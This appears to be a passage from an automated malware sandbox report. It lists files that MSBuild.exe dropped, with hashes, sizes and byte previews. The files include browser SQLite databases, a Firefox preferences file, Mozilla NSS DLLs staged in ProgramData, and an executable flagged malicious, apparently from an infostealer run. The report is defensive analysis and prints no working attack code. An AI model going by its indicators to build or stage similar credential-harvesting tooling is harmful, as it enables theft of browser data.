SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEBAFCBKFID\DHCBAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEBAFCBKFID\DHCBAE-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEBAFCBKFID\ECBGIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IIEBAFCBKFID\ECFHCG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEBAFCBKFID\FIJDGI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEBAFCBKFID\GDGHID

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEBAFCBKFID\HIJJDG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEBAFCBKFID\HIJJDG-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEBAFCBKFID\IIIDAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEBAFCBKFID\JECAEH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJEHJKJEBG.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	561016
Entropy (8bit):	7.730806874664863
Encrypted:	false
SSDEEP:	12288:WKpheN+tL9S35GFAFd0sZvH1whtgzMtECcBxJ8rKA:WK6N+p65wAFVytgzOHqQh
MD5:	20732FDC3A5DBA86CBA29107799C65C9
SHA1:	18B9450D585A8633A1B72E91CB3EE4A5D5ACEC6E
SHA-256:	9037DF6561A0AEDAB6049DF8DADE28ED2EB0B830D0EB6061D8A7E633C1388303
SHA-512:	93DE9F8E34E5374AA5D91394DF9A6DE0DFE8DBD5E7249FEB085834E7AC41394D3380DFEB177A507EB164B5D16B1AFA240C3C26BC0198C69E45FA15D54A9EFC1D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........9...WU..WU..WU.TT..WU.RTR.WU.ST..WU.VT..WU..VU..WU.cTT..WU.cST..WU.cRT..WU.b^T..WU.b.U..WU.bUT..WURich..WU........PE..L...}..g...............).....`.......l....... ....@.................................+m....@.....................................(....p...............f..x)..............................................@............ ..(............................text...0........................... ..`.rdata..$.... ......................@..@.data...............................@....rsrc........p.......H..............@..@.reloc...............J..............@..B................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: cmBxQ7gA5a.exe, Detection: malicious, Browse Filename: vmgon5Zqja.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: f2e7fcb20146.exe, Detection: malicious, Browse Filename: 7f3c2473d1e6.exe, Detection: malicious, Browse Filename: ScreenUpdateSync.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	561016
Entropy (8bit):	7.730806874664863
Encrypted:	false
SSDEEP:	12288:WKpheN+tL9S35GFAFd0sZvH1whtgzMtECcBxJ8rKA:WK6N+p65wAFVytgzOHqQh
MD5:	20732FDC3A5DBA86CBA29107799C65C9
SHA1:	18B9450D585A8633A1B72E91CB3EE4A5D5ACEC6E
SHA-256:	9037DF6561A0AEDAB6049DF8DADE28ED2EB0B830D0EB6061D8A7E633C1388303
SHA-512:	93DE9F8E34E5374AA5D91394DF9A6DE0DFE8DBD5E7249FEB085834E7AC41394D3380DFEB177A507EB164B5D16B1AFA240C3C26BC0198C69E45FA15D54A9EFC1D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........9...WU..WU..WU.TT..WU.RTR.WU.ST..WU.VT..WU..VU..WU.cTT..WU.cST..WU.cRT..WU.b^T..WU.b.U..WU.bUT..WURich..WU........PE..L...}..g...............).....`.......l....... ....@.................................+m....@.....................................(....p...............f..x)..............................................@............ ..(............................text...0........................... ..`.rdata..$.... ......................@..@.data...............................@....rsrc........p.......H..............@..@.reloc...............J..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
